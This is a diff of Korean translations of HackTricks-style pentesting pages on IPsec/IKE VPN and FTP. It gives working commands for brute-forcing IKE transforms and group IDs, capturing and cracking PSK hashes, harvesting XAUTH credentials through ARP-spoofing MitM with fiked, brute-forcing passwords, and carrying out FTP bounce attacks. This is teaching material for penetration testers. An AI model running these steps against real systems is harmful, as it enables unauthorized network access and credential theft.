||||
예제는 [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)에서 가져왔습니다.\
|
||||
**Canape HTB 머신을 사용하여** 이 **취약점을 악용하는 방법을 연습할 수 있습니다**.
|
||||
|
||||
## Metasploit
|
||||
```bash
|
||||
|
@ -1,20 +1,20 @@
|
||||
# 500/udp - IPsec/IKE VPN 펜테스팅
|
||||
# 500/udp - Pentesting IPsec/IKE VPN
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## 기본 정보
|
||||
|
||||
**IPsec**는 네트워크 간(LAN-to-LAN) 및 원격 사용자가 네트워크 게이트웨이에 연결하는 원격 액세스 간의 통신을 보호하는 주요 기술로 널리 인식되며, 기업 VPN 솔루션의 중추 역할을 합니다.
|
||||
**IPsec**는 네트워크 간(LAN-to-LAN) 및 원격 사용자가 네트워크 게이트웨이에 연결하는(원격 액세스) 통신을 보호하는 주요 기술로 널리 인식되며, 기업 VPN 솔루션의 중추 역할을 합니다.
|
||||
|
||||
두 지점 간의 **보안 협정(SA)** 수립은 **IKE**에 의해 관리되며, 이는 인증 및 키 교환을 위해 설계된 프로토콜인 ISAKMP의 범위 내에서 작동합니다. 이 과정은 여러 단계로 진행됩니다:
|
||||
|
||||
- **1단계:** 두 엔드포인트 간에 안전한 채널이 생성됩니다. 이는 사전 공유 키(PSK) 또는 인증서를 사용하여 이루어지며, 세 쌍의 메시지를 포함하는 메인 모드 또는 **공격 모드**를 사용합니다.
|
||||
- **1.5단계:** 필수는 아니지만, 확장 인증 단계로 알려진 이 단계는 사용자 이름과 비밀번호를 요구하여 연결을 시도하는 사용자의 신원을 확인합니다.
|
||||
- **2단계:** 이 단계는 **ESP** 및 **AH**를 사용하여 데이터를 보호하기 위한 매개변수를 협상하는 데 전념합니다. 이는 1단계와 다른 알고리즘을 사용할 수 있도록 하여 **완벽한 전방 비밀성(PFS)**을 보장하여 보안을 강화합니다.
|
||||
- **2단계:** 이 단계는 **ESP** 및 **AH**로 데이터를 보호하기 위한 매개변수를 협상하는 데 전념합니다. 이는 **완벽한 전방 비밀성(PFS)**을 보장하기 위해 1단계와 다른 알고리즘을 사용할 수 있게 하여 보안을 강화합니다.
|
||||
|
||||
**기본 포트:** 500/udp
|
||||
|
||||
## **nmap**을 사용하여 서비스를 발견하십시오.
|
||||
## **nmap**을 사용하여 서비스를 **발견**합니다.
|
||||
```
|
||||
root@bt:~# nmap -sU -p 500 172.16.21.200
|
||||
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
|
||||
@ -28,7 +28,7 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
|
||||
|
||||
IPSec 구성은 하나 또는 몇 개의 변환만 수락하도록 준비될 수 있습니다. 변환은 값의 조합입니다. **각 변환**은 DES 또는 3DES와 같은 **암호화 알고리즘**, SHA 또는 MD5와 같은 **무결성 알고리즘**, 사전 공유 키와 같은 **인증 유형**, Diffie-Hellman 1 또는 2와 같은 키 **배포 알고리즘**, 그리고 28800초와 같은 **수명**을 포함하는 여러 속성을 포함합니다.
|
||||
|
||||
따라서 서버가 당신과 통신할 수 있도록 **유효한 변환을 찾는 것**이 첫 번째 작업입니다. 이를 위해 **ike-scan** 도구를 사용할 수 있습니다. 기본적으로 Ike-scan은 메인 모드에서 작동하며, ISAKMP 헤더와 **여덟 개의 변환이 포함된** 단일 제안으로 게이트웨이에 패킷을 전송합니다.
|
||||
따라서, 서버가 당신과 통신할 수 있도록 **유효한 변환을 찾는 것**이 첫 번째 작업입니다. 이를 위해 **ike-scan** 도구를 사용할 수 있습니다. 기본적으로 Ike-scan은 메인 모드에서 작동하며, ISAKMP 헤더와 **여덟 개의 변환이 포함된** 단일 제안으로 게이트웨이에 패킷을 전송합니다.
|
||||
|
||||
응답에 따라 엔드포인트에 대한 일부 정보를 얻을 수 있습니다:
|
||||
```
|
||||
@ -46,7 +46,7 @@ Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 retur
|
||||
|
||||
- _0 returned handshake; 0 returned notify:_ 이는 대상이 **IPsec 게이트웨이가 아님**을 의미합니다.
|
||||
- _**1 returned handshake; 0 returned notify:**_ 이는 **대상이 IPsec에 대해 구성되어 있으며 IKE 협상을 수행할 의사가 있으며, 제안한 변환 중 하나 이상이 허용됨**을 의미합니다(유효한 변환은 출력에 표시됩니다).
|
||||
- _0 returned handshake; 1 returned notify:_ VPN 게이트웨이는 **허용 가능한 변환이 없는 경우** 알림 메시지로 응답합니다(일부 게이트웨이는 그렇지 않으며, 이 경우 추가 분석과 수정된 제안이 필요합니다).
|
||||
- _0 returned handshake; 1 returned notify:_ VPN 게이트웨이는 **허용 가능한 변환이 없을 때** 알림 메시지로 응답합니다(일부 게이트웨이는 그렇지 않으며, 이 경우 추가 분석과 수정된 제안이 필요합니다).
|
||||
|
||||
그런 다음, 이 경우 우리는 이미 유효한 변환을 가지고 있지만 3번째 경우에 있다면 **유효한 변환을 찾기 위해 조금 브루트 포스해야 합니다:**
|
||||
|
||||
@ -58,13 +58,13 @@ for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for A
|
||||
```bash
|
||||
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
|
||||
```
|
||||
만약 브루트 포스가 작동하지 않는다면, 서버가 유효한 변환에 대해서도 핸드셰이크 없이 응답하고 있을 수 있습니다. 그럼, 공격 모드를 사용하여 같은 브루트 포스를 시도해 볼 수 있습니다:
|
||||
브루트 포스가 작동하지 않는다면, 서버가 유효한 변환에 대해서도 핸드쉐이크 없이 응답하고 있을 수 있습니다. 그럼, 공격 모드를 사용하여 같은 브루트 포스를 시도해 볼 수 있습니다:
|
||||
```bash
|
||||
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
|
||||
```
|
||||
희망적으로 **유효한 변환이 반환됩니다**.\
|
||||
**같은 공격**을 [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py)를 사용하여 시도할 수 있습니다.\
|
||||
[**ikeforce**](https://github.com/SpiderLabs/ikeforce)를 사용하여 변환을 무차별 대입으로 시도할 수도 있습니다:
|
||||
**같은 공격**을 [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py)를 사용하여 시도해 볼 수 있습니다.\
|
||||
[**ikeforce**](https://github.com/SpiderLabs/ikeforce)를 사용하여 변환을 무작위로 시도해 볼 수도 있습니다:
|
||||
```bash
|
||||
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
|
||||
```
|
||||
@ -73,11 +73,11 @@ while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive
|
||||
**DH 그룹: 14 = 2048비트 MODP** 및 **15 = 3072비트**\
|
||||
**2 = HMAC-SHA = SHA1 (이 경우). `--trans` 형식은 $Enc,$Hash,$Auth,$DH**입니다.
|
||||
|
||||
Cisco는 DH 그룹 1과 2를 사용하지 말 것을 권장합니다. 왜냐하면 이들은 충분히 강력하지 않기 때문입니다. 전문가들은 **자원이 많은 국가들이 이러한 약한 그룹을 사용하는 데이터의 암호를 쉽게 해독할 수 있다고 믿고 있습니다.** 이는 그들이 코드를 빠르게 해독할 수 있도록 준비하는 특별한 방법을 사용하여 이루어집니다. 이 방법을 설정하는 데 많은 비용이 들지만, 이러한 강력한 국가들은 약한 그룹(예: 1,024비트 이하)을 사용하는 경우 실시간으로 암호화된 데이터를 읽을 수 있습니다.
|
||||
Cisco는 DH 그룹 1과 2를 사용하지 말 것을 권장합니다. 왜냐하면 이들은 충분히 강력하지 않기 때문입니다. 전문가들은 **자원이 많은 국가들이 이러한 약한 그룹을 사용하는 데이터의 암호를 쉽게 해독할 수 있다고 믿습니다.** 이는 그들이 코드를 빠르게 해독할 수 있도록 준비하는 특별한 방법을 사용하여 이루어집니다. 이 방법을 설정하는 데 많은 비용이 들지만, 이러한 강력한 국가들은 약한 그룹(예: 1,024비트 이하)을 사용하는 경우 실시간으로 암호화된 데이터를 읽을 수 있습니다.
|
||||
|
||||
### 서버 지문 인식
|
||||
|
||||
그런 다음, ike-scan을 사용하여 **장치의 공급업체를 발견**하려고 시도할 수 있습니다. 이 도구는 초기 제안을 보내고 재전송을 중지합니다. 그런 다음, 수신된 **메시지**와 일치하는 응답 패턴 간의 **시간** 차이를 **분석**하여, 펜테스터는 VPN 게이트웨이 공급업체를 성공적으로 지문 인식할 수 있습니다. 게다가, 일부 VPN 서버는 IKE와 함께 선택적 **공급업체 ID (VID) 페이로드**를 사용할 것입니다.
|
||||
그런 다음, ike-scan을 사용하여 **장치의 공급업체를 발견**하려고 시도할 수 있습니다. 이 도구는 초기 제안을 보내고 재전송을 중지합니다. 그런 다음, 수신된 **메시지**와 일치하는 응답 패턴 간의 **시간** 차이를 **분석**하여, 펜테스터는 VPN 게이트웨이 공급업체를 성공적으로 지문 인식할 수 있습니다. 게다가, 일부 VPN 서버는 IKE와 함께 선택적 **Vendor ID (VID) 페이로드**를 사용할 것입니다.
|
||||
|
||||
**필요한 경우 유효한 변환을 지정하십시오** (using --trans)
|
||||
|
||||
@ -105,10 +105,10 @@ Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 retur
|
||||
|
||||
## 올바른 ID (그룹 이름) 찾기
|
||||
|
||||
해시를 캡처하려면 유효한 변환이 필요하며, 이는 공격 모드를 지원하고 올바른 ID (그룹 이름)가 필요합니다. 유효한 그룹 이름을 알지 못할 가능성이 높으므로, 이를 무작위로 시도해야 합니다.\
|
||||
해시를 캡처하려면 유효한 변환이 필요하며, 이는 공격 모드를 지원하고 올바른 ID (그룹 이름)를 가져야 합니다. 유효한 그룹 이름을 알지 못할 가능성이 높으므로, 이를 무차별 대입해야 합니다.\
|
||||
이를 위해 두 가지 방법을 추천합니다:
|
||||
|
||||
### ike-scan을 사용한 ID 무작위 대입
|
||||
### ike-scan을 사용한 ID 무차별 대입
|
||||
|
||||
먼저, 해시를 수집하기 위해 가짜 ID로 요청을 시도해 보십시오 ("-P"):
|
||||
```bash
|
||||
@ -118,9 +118,9 @@ ike-scan -P -M -A -n fakeID <IP>
|
||||
|
||||
.png>)
|
||||
|
||||
하지만 제가 말했듯이, 해시가 반환되지 않으면, ike-scan을 사용하여 일반 그룹 이름을 브루트 포스해 보아야 합니다.
|
||||
하지만 제가 말했듯이, 해시가 반환되지 않으면 ike-scan을 사용하여 일반 그룹 이름을 브루트 포스해 보아야 합니다.
|
||||
|
||||
이 스크립트는 **가능한 ID를 브루트 포스하려고 시도하며** 유효한 핸드셰이크가 반환되는 ID를 반환합니다(이것이 유효한 그룹 이름이 됩니다).
|
||||
이 스크립트는 **가능한 ID를 브루트 포스하려고 시도**하며 유효한 핸드셰이크가 반환되는 ID를 반환합니다(이것이 유효한 그룹 이름이 됩니다).
|
||||
|
||||
특정 변환을 발견했다면 ike-scan 명령에 추가하십시오. 여러 변환을 발견했다면 모두 시도할 수 있도록 새로운 루프를 추가해도 좋습니다(하나가 제대로 작동할 때까지 모두 시도해야 합니다).
|
||||
|
||||
@ -128,25 +128,27 @@ ike-scan -P -M -A -n fakeID <IP>
|
||||
```bash
|
||||
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
|
||||
```
|
||||
{% file src="../images/vpnIDs.txt" %}
|
||||
{{#file}}
|
||||
vpnIDs.txt
|
||||
{{#endfile}}
|
||||
|
||||
### Iker로 ID 브루트포스
|
||||
### Iker로 ID 브루트포스하기
|
||||
|
||||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) 또한 **ike-scan**을 사용하여 가능한 그룹 이름을 브루트포스합니다. 이 도구는 **ike-scan의 출력에 기반하여 유효한 ID를 찾는** 자체 방법을 따릅니다.
|
||||
|
||||
### ikeforce로 ID 브루트포스
|
||||
### ikeforce로 ID 브루트포스하기
|
||||
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce)는 **ID를 브루트포스하는 데 사용할 수 있는 도구**입니다. 이 도구는 **유효한 ID와 비유효한 ID를 구별하는 데 사용할 수 있는 다양한 취약점을 악용하려고 시도합니다** (거짓 긍정 및 거짓 부정이 발생할 수 있으므로 가능하면 ike-scan 방법을 사용하는 것을 선호합니다).
|
||||
|
||||
기본적으로 **ikeforce**는 서버의 동작을 확인하고 사용할 전술을 결정하기 위해 처음에 몇 개의 무작위 ID를 보냅니다.
|
||||
기본적으로 **ikeforce**는 서버의 동작을 확인하고 사용할 전술을 결정하기 위해 처음에 몇 개의 무작위 ID를 전송합니다.
|
||||
|
||||
- **첫 번째 방법**은 **Dead Peer Detection DPD**에 대한 정보를 **검색**하여 그룹 이름을 브루트포스하는 것입니다 (이 정보는 그룹 이름이 올바른 경우에만 서버에 의해 재생됩니다).
|
||||
- **두 번째 방법**은 **각 시도에 대해 전송된 응답 수를 확인하는** 것입니다. 때때로 올바른 ID가 사용될 때 더 많은 패킷이 전송됩니다.
|
||||
- **두 번째 방법**은 **각 시도에 대해 전송된 응답의 수를 확인하는** 것입니다. 때때로 올바른 ID가 사용될 때 더 많은 패킷이 전송됩니다.
|
||||
- **세 번째 방법**은 **잘못된 ID에 대한 응답에서 "INVALID-ID-INFORMATION"을 검색하는** 것입니다.
|
||||
- 마지막으로, 서버가 체크에 대해 아무것도 재생하지 않으면, **ikeforce**는 서버를 브루트포스하고 올바른 ID가 전송될 때 서버가 패킷으로 응답하는지 확인하려고 시도합니다.\
|
||||
명백히, ID를 브루트포스하는 목표는 유효한 ID를 가질 때 **PSK**를 얻는 것입니다. 그런 다음, **ID**와 **PSK**를 사용하여 XAUTH를 브루트포스해야 합니다 (활성화된 경우).
|
||||
|
||||
특정 변환을 발견한 경우 ikeforce 명령에 추가하십시오. 여러 변환을 발견한 경우 모두 시도할 수 있도록 새로운 루프를 추가해도 좋습니다 (작동하는 변환이 나올 때까지 모두 시도해야 합니다).
|
||||
특정 변환을 발견한 경우, 이를 ikeforce 명령에 추가하십시오. 여러 변환을 발견한 경우, 모두 시도할 수 있도록 새로운 루프를 추가해도 좋습니다 (작동하는 변환이 나올 때까지 모두 시도해야 합니다).
|
||||
```bash
|
||||
git clone https://github.com/SpiderLabs/ikeforce.git
|
||||
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
||||
@ -163,7 +165,7 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
||||
|
||||
## Capturing & cracking the hash
|
||||
|
||||
마지막으로, **유효한 변환**과 **그룹 이름**을 찾았고 **공격 모드가 허용된다면**, 쉽게 크랙 가능한 해시를 잡을 수 있습니다:
|
||||
마지막으로, **유효한 변환**과 **그룹 이름**을 찾았고 **공격 모드가 허용된다면**, 크랙 가능한 해시를 매우 쉽게 가져올 수 있습니다:
|
||||
```bash
|
||||
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
|
||||
```
|
||||
@ -175,13 +177,13 @@ psk-crack -d <Wordlist_path> psk.txt
|
||||
```
|
||||
## **XAuth**
|
||||
|
||||
**공격 모드 IKE**와 **사전 공유 키 (PSK)**는 일반적으로 **그룹 인증** 목적으로 사용됩니다. 이 방법은 **XAuth (확장 인증)**에 의해 보강되어 추가적인 **사용자 인증** 계층을 도입합니다. 이러한 인증은 일반적으로 **Microsoft Active Directory**, **RADIUS** 또는 유사한 시스템과 같은 서비스를 활용합니다.
|
||||
**공격 모드 IKE**와 **사전 공유 키(PSK)**는 일반적으로 **그룹 인증** 목적으로 사용됩니다. 이 방법은 **XAuth (확장 인증)**에 의해 보강되어 추가적인 **사용자 인증** 계층을 도입합니다. 이러한 인증은 일반적으로 **Microsoft Active Directory**, **RADIUS** 또는 유사한 시스템과 같은 서비스를 활용합니다.
|
||||
|
||||
**IKEv2**로 전환하면 **EAP (확장 가능 인증 프로토콜)**이 **XAuth** 대신 사용자 인증을 위해 사용되는 주목할 만한 변화가 관찰됩니다. 이 변화는 안전한 통신 프로토콜 내에서 인증 관행의 진화를 강조합니다.
|
||||
**IKEv2**로 전환하면 **EAP (확장 인증 프로토콜)**이 **XAuth** 대신 사용자 인증을 위해 사용되는 주목할 만한 변화가 관찰됩니다. 이 변화는 보안 통신 프로토콜 내 인증 관행의 진화를 강조합니다.
|
||||
|
||||
### 로컬 네트워크 MitM을 통한 자격 증명 캡처
|
||||
|
||||
따라서 _fiked_를 사용하여 로그인 데이터를 캡처하고 기본 사용자 이름이 있는지 확인할 수 있습니다 (IKE 트래픽을 `fiked`로 리디렉션하여 스니핑해야 하며, 이는 ARP 스푸핑의 도움으로 수행할 수 있습니다, [자세한 정보](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked는 VPN 엔드포인트로 작동하며 XAuth 자격 증명을 캡처합니다:
|
||||
따라서 _fiked_를 사용하여 로그인 데이터를 캡처하고 기본 사용자 이름이 있는지 확인할 수 있습니다(스니핑을 위해 IKE 트래픽을 `fiked`로 리디렉션해야 하며, 이는 ARP 스푸핑의 도움으로 수행할 수 있습니다, [자세한 정보](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked는 VPN 엔드포인트로 작동하며 XAuth 자격 증명을 캡처합니다:
|
||||
```bash
|
||||
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||||
```
|
||||
@ -189,13 +191,13 @@ fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||||
|
||||
### ikeforce를 사용한 XAUTH 사용자 이름 및 비밀번호 무차별 대입
|
||||
|
||||
유효한 그룹 이름 **id**와 **psk**를 알고 있을 때 **XAUTH**를 무차별 대입하려면 사용자 이름 또는 사용자 이름 목록과 비밀번호 목록을 사용할 수 있습니다:
|
||||
**XAUTH**를 무차별 대입하기 위해 (유효한 그룹 이름 **id**와 **psk**를 알고 있을 때) 사용자 이름 또는 사용자 이름 목록과 비밀번호 목록을 사용할 수 있습니다:
|
||||
```bash
|
||||
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
|
||||
```
|
||||
이렇게 하면 ikeforce는 각 username:password 조합을 사용하여 연결을 시도합니다.
|
||||
|
||||
하나 이상의 유효한 변환을 찾았다면 이전 단계와 같이 사용하면 됩니다.
|
||||
유효한 변환을 하나 이상 찾았다면 이전 단계와 같이 사용하면 됩니다.
|
||||
|
||||
## IPSEC VPN 인증
|
||||
|
||||
|
@ -4,31 +4,31 @@
|
||||
|
||||
## 기본 정보
|
||||
|
||||
**파일 전송 프로토콜 (FTP)**은 서버와 클라이언트 간의 컴퓨터 네트워크에서 파일 전송을 위한 표준 프로토콜입니다.\
|
||||
이는 **일반 텍스트** 프로토콜로, **새 줄 문자 `0x0d 0x0a`**를 사용하므로 때때로 **`telnet`** 또는 **`nc -C`**를 사용하여 **연결해야** 합니다.
|
||||
**파일 전송 프로토콜 (FTP)**는 서버와 클라이언트 간의 컴퓨터 네트워크에서 파일 전송을 위한 표준 프로토콜입니다.\
|
||||
이는 **일반 텍스트** 프로토콜로, **새 줄 문자 `0x0d 0x0a`**를 사용하므로 때때로 **`telnet`** 또는 **`nc -C`**를 사용하여 **연결해야** 할 필요가 있습니다.
|
||||
|
||||
**기본 포트:** 21
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
21/tcp open ftp
|
||||
```
|
||||
### 연결 활성 및 수동
|
||||
### Connections Active & Passive
|
||||
|
||||
**능동 FTP**에서 FTP **클라이언트**는 먼저 자신의 포트 N에서 FTP 서버의 명령 포트인 포트 21로 제어 **연결**을 **시작**합니다. 그런 다음 **클라이언트**는 포트 **N+1**을 **청취**하고 포트 N+1을 FTP 서버에 보냅니다. FTP **서버**는 그 후 **데이터 연결**을 **시작**하며, **자신의 포트 M에서 FTP 클라이언트의 포트 N+1로** 연결합니다.
|
||||
In **Active FTP** the FTP **client** first **initiates** the control **connection** from its port N to FTP Servers command port – port 21. The **client** then **listens** to port **N+1** and sends the port N+1 to FTP Server. FTP **Server** then **initiates** the data **connection**, from **its port M to the port N+1** of the FTP Client.
|
||||
|
||||
하지만, FTP 클라이언트에 외부에서 들어오는 데이터 연결을 제어하는 방화벽이 설정되어 있다면, 능동 FTP는 문제가 될 수 있습니다. 이에 대한 실행 가능한 해결책은 수동 FTP입니다.
|
||||
But, if the FTP Client has a firewall setup that controls the incoming data connections from outside, then active FTP may be a problem. And, a feasible solution for that is Passive FTP.
|
||||
|
||||
**수동 FTP**에서 클라이언트는 자신의 포트 N에서 FTP 서버의 포트 21로 제어 연결을 시작합니다. 이후 클라이언트는 **passv 명령**을 발행합니다. 서버는 클라이언트에게 자신의 포트 번호 M 중 하나를 보냅니다. 그리고 **클라이언트**는 **자신의 포트 P에서 FTP 서버의 포트 M으로** 데이터 **연결**을 **시작**합니다.
|
||||
In **Passive FTP**, the client initiates the control connection from its port N to the port 21 of FTP Server. After this, the client issues a **passv comand**. The server then sends the client one of its port number M. And the **client** **initiates** the data **connection** from **its port P to port M** of the FTP Server.
|
||||
|
||||
출처: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
|
||||
Source: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
|
||||
|
||||
### 연결 디버깅
|
||||
### Connection debugging
|
||||
|
||||
**FTP** 명령 **`debug`**와 **`trace`**를 사용하여 **통신이 어떻게 이루어지는지** 확인할 수 있습니다.
|
||||
The **FTP** commands **`debug`** and **`trace`** can be used to see **how is the communication occurring**.
|
||||
|
||||
## 열거
|
||||
## Enumeration
|
||||
|
||||
### 배너 수집
|
||||
### Banner Grabbing
|
||||
```bash
|
||||
nc -vn <IP> 21
|
||||
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
|
||||
@ -45,7 +45,7 @@ lftp 10.10.10.208:~> login username Password
|
||||
```
|
||||
### Unauth enum
|
||||
|
||||
**nmap**와 함께
|
||||
With **nmap**
|
||||
```bash
|
||||
sudo nmap -sV -p21 -sC -A 10.10.10.10
|
||||
```
|
||||
@ -99,19 +99,19 @@ ftp <IP>
|
||||
>ascii #Set transmission to ascii instead of binary
|
||||
>bye #exit
|
||||
```
|
||||
### [무차별 대입 공격](../../generic-hacking/brute-force.md#ftp)
|
||||
### [Brute force](../../generic-hacking/brute-force.md#ftp)
|
||||
|
||||
여기 기본 ftp 자격 증명의 멋진 목록을 찾을 수 있습니다: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
|
||||
|
||||
### 자동화
|
||||
### Automated
|
||||
|
||||
익명 로그인 및 바운스 FTP 검사는 기본적으로 nmap의 **-sC** 옵션으로 수행됩니다.
|
||||
Anon 로그인 및 바운스 FTP 검사는 기본적으로 nmap의 **-sC** 옵션으로 수행됩니다:
|
||||
```bash
|
||||
nmap --script ftp-* -p 21 <ip>
|
||||
```
|
||||
## 브라우저 연결
|
||||
|
||||
브라우저(예: Firefox)를 사용하여 다음과 같은 URL로 FTP 서버에 연결할 수 있습니다:
|
||||
You can connect to a FTP server using a browser (like Firefox) using a URL like:
|
||||
```bash
|
||||
ftp://anonymous:anonymous@10.10.10.98
|
||||
```
|
||||
@ -122,41 +122,41 @@ ftp://anonymous:anonymous@10.10.10.98
|
||||
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
|
||||
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
|
||||
```
|
||||
사용자 이름/비밀번호에 특수 문자가 포함된 경우, [다음 명령어](https://stackoverflow.com/a/113900/13647948)를 사용할 수 있습니다:
|
||||
사용자/비밀번호에 특수 문자가 포함된 경우, [다음 명령어](https://stackoverflow.com/a/113900/13647948)를 사용할 수 있습니다:
|
||||
```bash
|
||||
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
```
|
||||
## 일부 FTP 명령어
|
||||
## Some FTP commands
|
||||
|
||||
- **`USER username`**
|
||||
- **`PASS password`**
|
||||
- **`HELP`** 서버가 지원하는 명령어를 표시합니다.
|
||||
- **`PORT 127,0,0,1,0,80`** 이는 FTP 서버에 IP 127.0.0.1의 포트 80과 연결을 설정하도록 지시합니다 (_5번째 문자는 "0"으로, 6번째는 10진수로 포트를 입력해야 하거나 5번째와 6번째를 사용하여 포트를 16진수로 표현해야 합니다_).
|
||||
- **`EPRT |2|127.0.0.1|80|`** 이는 FTP 서버에 IP 127.0.0.1의 포트 80과 TCP 연결을 설정하도록 지시합니다 (_"2"로 표시됨_). 이 명령은 **IPv6을 지원합니다**.
|
||||
- **`PORT 127,0,0,1,0,80`** 이는 FTP 서버에 IP 127.0.0.1의 포트 80으로 연결을 설정하도록 지시합니다 (_5번째 문자는 "0"으로, 6번째는 10진수로 포트를 입력해야 하거나 5번째와 6번째를 사용하여 포트를 16진수로 표현해야 합니다_).
|
||||
- **`EPRT |2|127.0.0.1|80|`** 이는 FTP 서버에 IP 127.0.0.1의 포트 80으로 TCP 연결을 설정하도록 지시합니다 (_"2"로 표시됨_). 이 명령은 **IPv6을 지원합니다**.
|
||||
- **`LIST`** 현재 폴더의 파일 목록을 전송합니다.
|
||||
- **`LIST -R`** 재귀적으로 목록을 나열합니다 (서버에서 허용하는 경우).
|
||||
- **`APPE /path/something.txt`** 이는 FTP에 **수동** 연결 또는 **PORT/EPRT** 연결에서 수신한 데이터를 파일에 저장하도록 지시합니다. 파일 이름이 존재하면 데이터를 추가합니다.
|
||||
- **`STOR /path/something.txt`** `APPE`와 같지만 파일을 덮어씁니다.
|
||||
- **`STOU /path/something.txt`** `APPE`와 같지만 존재할 경우 아무 작업도 하지 않습니다.
|
||||
- **`RETR /path/to/file`** 수동 또는 포트 연결이 설정되어야 합니다. 그런 다음 FTP 서버는 해당 연결을 통해 지정된 파일을 전송합니다.
|
||||
- **`REST 6`** 이는 서버에 다음 번에 `RETR`를 사용하여 무언가를 전송할 때 6번째 바이트에서 시작해야 함을 지시합니다.
|
||||
- **`REST 6`** 이는 서버에 다음 번에 `RETR`를 사용하여 무언가를 전송할 때 6번째 바이트에서 시작하도록 지시합니다.
|
||||
- **`TYPE i`** 전송을 이진으로 설정합니다.
|
||||
- **`PASV`** 이는 수동 연결을 열고 사용자가 연결할 수 있는 위치를 표시합니다.
|
||||
- **`PUT /tmp/file.txt`** 지정된 파일을 FTP에 업로드합니다.
|
||||
|
||||
.png>)
|
||||
|
||||
## FTPBounce 공격
|
||||
## FTPBounce attack
|
||||
|
||||
일부 FTP 서버는 PORT 명령을 허용합니다. 이 명령은 서버에 다른 FTP 서버의 특정 포트에 연결하고 싶음을 나타내는 데 사용할 수 있습니다. 그런 다음 이를 사용하여 FTP 서버를 통해 호스트의 어떤 포트가 열려 있는지 스캔할 수 있습니다.
|
||||
일부 FTP 서버는 PORT 명령을 허용합니다. 이 명령은 서버에 다른 FTP 서버의 특정 포트에 연결하고 싶다는 것을 나타내는 데 사용할 수 있습니다. 그런 다음 이를 사용하여 FTP 서버를 통해 호스트의 어떤 포트가 열려 있는지 스캔할 수 있습니다.
|
||||
|
||||
[**여기에서 FTP 서버를 악용하여 포트를 스캔하는 방법을 배우세요.**](ftp-bounce-attack.md)
|
||||
|
||||
이 동작을 악용하여 FTP 서버가 다른 프로토콜과 상호작용하도록 만들 수도 있습니다. **HTTP 요청을 포함하는 파일을 업로드**하고 취약한 FTP 서버가 **임의의 HTTP 서버로 전송하도록** 하거나 FTP 요청을 업로드하여 취약한 FTP 서버가 다른 FTP 서버에서 파일을 다운로드하도록 만들 수 있습니다.\
|
||||
이 동작을 악용하여 FTP 서버가 다른 프로토콜과 상호작용하도록 만들 수도 있습니다. **HTTP 요청을 포함하는 파일을 업로드**하고 취약한 FTP 서버가 **임의의 HTTP 서버로 전송하도록** 하거나, 심지어 FTP 요청을 업로드하고 취약한 FTP 서버가 다른 FTP 서버에서 파일을 다운로드하도록 만들 수 있습니다.\
|
||||
이론은 간단합니다:
|
||||
|
||||
1. **취약한 서버에 요청(텍스트 파일 내)을 업로드합니다.** 다른 HTTP 또는 FTP 서버와 통신하려면 `0x0d 0x0a`로 줄을 변경해야 합니다.
|
||||
2. **원하지 않는 문자를 전송하지 않도록 `REST X`를 사용합니다** (아마도 요청을 파일 내에 업로드하려면 시작 부분에 이미지 헤더를 넣어야 했을 것입니다).
|
||||
2. **원하지 않는 문자를 전송하지 않도록 `REST X`를 사용합니다** (아마도 요청을 파일 내에 업로드하기 위해 파일의 시작 부분에 이미지 헤더를 넣어야 했을 것입니다).
|
||||
3. **임의의 서버 및 서비스에 연결하기 위해 `PORT`를 사용합니다.**
|
||||
4. **저장된 요청을 서버에 전송하기 위해 `RETR`를 사용합니다.**
|
||||
|
||||
@ -164,20 +164,20 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
|
||||
- HTTP 요청을 전송하는 경우, **같은 요청을 연속으로 넣습니다** **\~0.5MB** 이상까지. 이렇게:
|
||||
|
||||
{% file src="../../images/posts.txt" %}
|
||||
{{#file}}
|
||||
posts.txt
|
||||
{% endfile %}
|
||||
